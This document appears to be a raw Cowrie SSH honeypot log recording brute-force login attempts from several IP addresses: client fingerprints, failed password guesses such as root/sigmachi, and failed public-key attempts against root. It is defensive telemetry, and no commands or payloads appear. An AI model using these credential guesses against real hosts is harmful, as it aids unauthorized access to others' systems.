{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:23.431429Z","src_ip":"2.57.122.208","session":"baec71b8e9f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:23.526474Z","src_ip":"2.57.122.208","session":"baec71b8e9f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:24.625354Z","src_ip":"2.57.122.208","session":"baec71b8e9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:25.831785Z","src_ip":"2.57.122.208","session":"baec71b8e9f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sigmachi","message":"login attempt [root/sigmachi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:28.428489Z","src_ip":"213.209.159.158","session":"26f014697729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.70.122.120","src_port":47326,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8c30519d1f","protocol":"ssh","message":"New connection: 193.70.122.120:47326 (10.17.0.5:22) [session: 2b8c30519d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:29.991934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:29.997015Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.075305Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:b8:f1:cc:08:b9:0b:1d:7f:b1:e5:47:77:bf:e9:a4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPrqHM9t31UmxPd/e2By1tnyWdmdnK3KARCb7Mt9Lr87nh5EkFoXPUFDM8ENUkXkp1OIf8WE+Nvmo5htZd1MI11Il7kefqtibQKmN4crVN1umKx2i9LsDDXIRNOHLaBgIv/fiPFHgaxTjbKIl2G/JiqichdEymT1WQlFwKvIqTKzAAAAFQCKydzxsNGQEaXvmjUbUjlnKQjdywAAAIApaaesY9Z4kNG9ovXDONRZgavwz5wUTmOCfvxXMPsMiy7/EZ0h7nSaa8MgMXN+YwV+zo0kRbEGyTjHM6uTByU92Hu+qca9PyYvvuf11FWTchhNaff/tLqX66SzdfaVITO+1bzSqU1HILmX2wrXbI9jn83QJXzkT0c1fuYehrlKXgAAAIEA2ECvTMmWrGnCjeTb/otirIPmSOeXSKO6/Q1pGmRDM9mpDwvn/ukVLw88mphdIhZUvfSU011hb2xnTy7bNUeclUyc/eWoQPG6swS60K0cmKhr/baL9/Z/xH9o+gcNSgIv4MchiL3fCIbJOE0dAqsqRI56F2vqzQ/pRnVpLSqZfS8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 5a:b8:f1:cc:08:b9:0b:1d:7f:b1:e5:47:77:bf:e9:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.445441Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:b8:f1:cc:08:b9:0b:1d:7f:b1:e5:47:77:bf:e9:a4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPrqHM9t31UmxPd/e2By1tnyWdmdnK3KARCb7Mt9Lr87nh5EkFoXPUFDM8ENUkXkp1OIf8WE+Nvmo5htZd1MI11Il7kefqtibQKmN4crVN1umKx2i9LsDDXIRNOHLaBgIv/fiPFHgaxTjbKIl2G/JiqichdEymT1WQlFwKvIqTKzAAAAFQCKydzxsNGQEaXvmjUbUjlnKQjdywAAAIApaaesY9Z4kNG9ovXDONRZgavwz5wUTmOCfvxXMPsMiy7/EZ0h7nSaa8MgMXN+YwV+zo0kRbEGyTjHM6uTByU92Hu+qca9PyYvvuf11FWTchhNaff/tLqX66SzdfaVITO+1bzSqU1HILmX2wrXbI9jn83QJXzkT0c1fuYehrlKXgAAAIEA2ECvTMmWrGnCjeTb/otirIPmSOeXSKO6/Q1pGmRDM9mpDwvn/ukVLw88mphdIhZUvfSU011hb2xnTy7bNUeclUyc/eWoQPG6swS60K0cmKhr/baL9/Z/xH9o+gcNSgIv4MchiL3fCIbJOE0dAqsqRI56F2vqzQ/pRnVpLSqZfS8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.449452Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:53:ee:f5:6f:5b:3c:92:98:31:e1:5d:3d:61:e7:ad","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPe7H3N0/BWIoUbGtKDFKsfv4iG/iYQevhjD1vV71DHEwL9aUxR7yEA7Tkq9WwfVHbFNHuqYnS5GieULXFBph+TvMo8RhD5GpnO+el61qprQyiTKiGGTvmA4s+Eh1DED8BIjrGFX3+6nueP+CbfftO2IT2DXAoEhpL7lPAcJaDYlAAAAFQCzqmtgg5Qkfljd7XmrqRDXKaqU3wAAAIEA7xruU48RxFUZ7AhmVbnUYDtWokNFbxo0UH1hZNwVuFwDH3qS3lEKD3uHRMHrdCG+IOkBT8eClnqNPG49ota5W/b1f8FATpWMGnZibYwxFFX49xi9SSnmq8G9IUrG3bGXsUN0WOJsCLwB7Tie4nzkqYj7lWo8Jk/9AI525tSGO70AAACAe4woC/blWv/5O04PKQIkgwtY1vTjwVuXYiK5TVAxmDxHBhU02hmqfhwsZOJfEliBBUDOGx2gf4OaZM9C09Bd6qDiKnBGIbUFFVCpBc8goDMGClMT20Jhq4EzvexkYwnrOvdjBVWDpGthIbzIT/8+/0i5jAlrPGTUWS3U/4qBkBo=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f3:53:ee:f5:6f:5b:3c:92:98:31:e1:5d:3d:61:e7:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.529704Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:53:ee:f5:6f:5b:3c:92:98:31:e1:5d:3d:61:e7:ad","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPe7H3N0/BWIoUbGtKDFKsfv4iG/iYQevhjD1vV71DHEwL9aUxR7yEA7Tkq9WwfVHbFNHuqYnS5GieULXFBph+TvMo8RhD5GpnO+el61qprQyiTKiGGTvmA4s+Eh1DED8BIjrGFX3+6nueP+CbfftO2IT2DXAoEhpL7lPAcJaDYlAAAAFQCzqmtgg5Qkfljd7XmrqRDXKaqU3wAAAIEA7xruU48RxFUZ7AhmVbnUYDtWokNFbxo0UH1hZNwVuFwDH3qS3lEKD3uHRMHrdCG+IOkBT8eClnqNPG49ota5W/b1f8FATpWMGnZibYwxFFX49xi9SSnmq8G9IUrG3bGXsUN0WOJsCLwB7Tie4nzkqYj7lWo8Jk/9AI525tSGO70AAACAe4woC/blWv/5O04PKQIkgwtY1vTjwVuXYiK5TVAxmDxHBhU02hmqfhwsZOJfEliBBUDOGx2gf4OaZM9C09Bd6qDiKnBGIbUFFVCpBc8goDMGClMT20Jhq4EzvexkYwnrOvdjBVWDpGthIbzIT/8+/0i5jAlrPGTUWS3U/4qBkBo=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.533999Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:70:a8:3f:cb:82:30:4a:08:7f:33:ff:28:2f:b1:1a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIKTPnMSYAK3CWGHORsma3CCmZSSFtvJw5vRNY2+9ZFJzqo3nUFCXYYPP28pRNrXsGQnqpIsFgqp6kjD/coQqCramEit1eNB+GsabornvnumJfb7sxWRjVjuSrpkc0lK8VjE0Uju4YsgCZEq0wVUkR5txmF758Z9l0QKq402ijE5AAAAFQCzB3fqLa/yxP5e9vLjQUK/LUguAQAAAIBOBG1fx9fMYYlTnJVIfL5pES2GeAkdqDPE6Lq06+i920v3FKthSjLm8jnsOzusU5QJgbcqBMf597t5LmRCGyy3u+9aDeUhr/uHVTvcdqHoo5wkZA/wVW1BV+MaCllwZMijDRa+2vnq6ih0NI3QU6CFtp486/isAWN+ra8jikR4lAAAAIBK+1P4XqmT6rD1tUKVNu4Z0vz1mGBgEm/n/P82qAz74fudVCVnxTk0i9uG1SAjrdCUqySDwElWu0Nid8AtPZMRud5M883fWx9Ori0bSkX7gNjdrx7LRbVNn9JkJmNz0ayHb/nw9u8UoJdtxhF+cHkgckl+nlJBBuAU7FL2XYi2aQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8f:70:a8:3f:cb:82:30:4a:08:7f:33:ff:28:2f:b1:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.617552Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:70:a8:3f:cb:82:30:4a:08:7f:33:ff:28:2f:b1:1a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIKTPnMSYAK3CWGHORsma3CCmZSSFtvJw5vRNY2+9ZFJzqo3nUFCXYYPP28pRNrXsGQnqpIsFgqp6kjD/coQqCramEit1eNB+GsabornvnumJfb7sxWRjVjuSrpkc0lK8VjE0Uju4YsgCZEq0wVUkR5txmF758Z9l0QKq402ijE5AAAAFQCzB3fqLa/yxP5e9vLjQUK/LUguAQAAAIBOBG1fx9fMYYlTnJVIfL5pES2GeAkdqDPE6Lq06+i920v3FKthSjLm8jnsOzusU5QJgbcqBMf597t5LmRCGyy3u+9aDeUhr/uHVTvcdqHoo5wkZA/wVW1BV+MaCllwZMijDRa+2vnq6ih0NI3QU6CFtp486/isAWN+ra8jikR4lAAAAIBK+1P4XqmT6rD1tUKVNu4Z0vz1mGBgEm/n/P82qAz74fudVCVnxTk0i9uG1SAjrdCUqySDwElWu0Nid8AtPZMRud5M883fWx9Ori0bSkX7gNjdrx7LRbVNn9JkJmNz0ayHb/nw9u8UoJdtxhF+cHkgckl+nlJBBuAU7FL2XYi2aQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.621825Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:ef:2c:bf:38:4e:f4:30:e8:80:50:04:ca:6a:8a:1e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMdeEA1KegrbY/ACqd4K1RYb3FxDw1Hpa/e/6GSTVqmwrZy18ta4t6tydTxbzI1Ehx4g/hYT7SrQHBipjj+CfJ8H19XSmvuuaauUooTnX9LkRbgf+SQfkB5Z1wOb2QyCvHS8UaSBDjyzs25bZPGhedqCj3/ID/pHGHpfAvDQbH0RAAAAFQDbVAgLjSynKpC4ElIMl2gmv4b6GwAAAIEAsP86l+Q/gqAUOPnmDAYLfwE7h+RFtQEi4jO8FpHDcOpgsItaEC/MtTvEFwInq32QW9K3iBBr7K3MVrObio0FEhqxbqdcZ2ZJjDiD2jt1HWCpnlzZ2bKC+s35XfaisxOzOmANpjBvj5Rbz3I1l3Gok6DrWNWlnyXpz6JIvEOFMZMAAACAQLD0zkYt/NmLj4IIkH7lUghIjJW6l2VPn6Xg9+zbeqMfkwkff4VWgQS1QG87d+h/2+sVqMJKLILQAtf4/DNxMqqPFi6jNbdx9GB+oWsZ1o0FVjYaNFMCgfEqKx9Zf9vriR24utkFIOmWZ18s1hITC7lOotUTF2Gj8cR/gr5qqfE=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 33:ef:2c:bf:38:4e:f4:30:e8:80:50:04:ca:6a:8a:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.701886Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:ef:2c:bf:38:4e:f4:30:e8:80:50:04:ca:6a:8a:1e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMdeEA1KegrbY/ACqd4K1RYb3FxDw1Hpa/e/6GSTVqmwrZy18ta4t6tydTxbzI1Ehx4g/hYT7SrQHBipjj+CfJ8H19XSmvuuaauUooTnX9LkRbgf+SQfkB5Z1wOb2QyCvHS8UaSBDjyzs25bZPGhedqCj3/ID/pHGHpfAvDQbH0RAAAAFQDbVAgLjSynKpC4ElIMl2gmv4b6GwAAAIEAsP86l+Q/gqAUOPnmDAYLfwE7h+RFtQEi4jO8FpHDcOpgsItaEC/MtTvEFwInq32QW9K3iBBr7K3MVrObio0FEhqxbqdcZ2ZJjDiD2jt1HWCpnlzZ2bKC+s35XfaisxOzOmANpjBvj5Rbz3I1l3Gok6DrWNWlnyXpz6JIvEOFMZMAAACAQLD0zkYt/NmLj4IIkH7lUghIjJW6l2VPn6Xg9+zbeqMfkwkff4VWgQS1QG87d+h/2+sVqMJKLILQAtf4/DNxMqqPFi6jNbdx9GB+oWsZ1o0FVjYaNFMCgfEqKx9Zf9vriR24utkFIOmWZ18s1hITC7lOotUTF2Gj8cR/gr5qqfE=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.706284Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:96:73:4c:ee:7b:cd:cc:04:2a:8a:18:7d:21:3a:49","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALQGyRR3ljHHidPwOoRWtEcPJLYApduGK9LcXpVRECQscS/XmMq8v/lJ+6b5FeXVOUM4XWjmwchAqdNgO4rlsTwxYR2soHlX6jlcQNkeGKwq8RSzn1D/UfXUH7al9eX6v8T3Kq6Mmre7vMALKfpY5LAYTKON9hZoQHSbM/cz9gk/AAAAFQCHPtv4f2EX62BNGTZF0m4NvIhK2wAAAIAkaUKvBReqpcQKc4THIghjB4TKLlaE0JjPM54SD+xKwlr7nVQFTrX+tGcIBKD5Zqmudhrrrkx9X8zf9ItVJauoZiig3+7Pk8/uXyn7r0XQqCNupjaIa+dWZ1+i52ZoJyDhk9L1TU7W+wyC0sR2W2BbVMmclBs+sf+afJlm14bG3wAAAIAC3ilRjnhCbOomZz8WARbI3GA7gXwHPWqZohYqb9M323SESvXL/dc/HY0Z51Wgh5K1kCq2ajttlnlbYwqmcuDmtonK5/mFGLEHoHmeWzIH8zz/7oWgOXZx870a5YRg1boW/be3k00AM7B0jBh7zwkYFgo3ByrwPiehLNuWjfaxuA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 36:96:73:4c:ee:7b:cd:cc:04:2a:8a:18:7d:21:3a:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.787814Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:96:73:4c:ee:7b:cd:cc:04:2a:8a:18:7d:21:3a:49","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALQGyRR3ljHHidPwOoRWtEcPJLYApduGK9LcXpVRECQscS/XmMq8v/lJ+6b5FeXVOUM4XWjmwchAqdNgO4rlsTwxYR2soHlX6jlcQNkeGKwq8RSzn1D/UfXUH7al9eX6v8T3Kq6Mmre7vMALKfpY5LAYTKON9hZoQHSbM/cz9gk/AAAAFQCHPtv4f2EX62BNGTZF0m4NvIhK2wAAAIAkaUKvBReqpcQKc4THIghjB4TKLlaE0JjPM54SD+xKwlr7nVQFTrX+tGcIBKD5Zqmudhrrrkx9X8zf9ItVJauoZiig3+7Pk8/uXyn7r0XQqCNupjaIa+dWZ1+i52ZoJyDhk9L1TU7W+wyC0sR2W2BbVMmclBs+sf+afJlm14bG3wAAAIAC3ilRjnhCbOomZz8WARbI3GA7gXwHPWqZohYqb9M323SESvXL/dc/HY0Z51Wgh5K1kCq2ajttlnlbYwqmcuDmtonK5/mFGLEHoHmeWzIH8zz/7oWgOXZx870a5YRg1boW/be3k00AM7B0jBh7zwkYFgo3ByrwPiehLNuWjfaxuA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.792549Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:30.873012Z","src_ip":"193.70.122.120","session":"2b8c30519d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:31.808300Z","src_ip":"213.209.159.158","session":"26f014697729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52528,"dst_ip":"10.17.0.5","dst_port":22,"session":"81a106ea1a2e","protocol":"ssh","message":"New connection: 213.209.159.158:52528 (10.17.0.5:22) [session: 81a106ea1a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:31.949295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:34.645687Z","src_ip":"213.209.159.158","session":"81a106ea1a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:34.649704Z","src_ip":"213.209.159.158","session":"81a106ea1a2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Shadowfiend123","message":"login attempt [root/Shadowfiend123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:44.209107Z","src_ip":"213.209.159.158","session":"81a106ea1a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:48.075070Z","src_ip":"213.209.159.158","session":"81a106ea1a2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7086,"dst_ip":"10.17.0.5","dst_port":22,"session":"c999598c157c","protocol":"ssh","message":"New connection: 213.209.159.158:7086 (10.17.0.5:22) [session: c999598c157c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:48.178944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:50.490437Z","src_ip":"213.209.159.158","session":"c999598c157c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:50.494445Z","src_ip":"213.209.159.158","session":"c999598c157c","protocol":"ssh"}
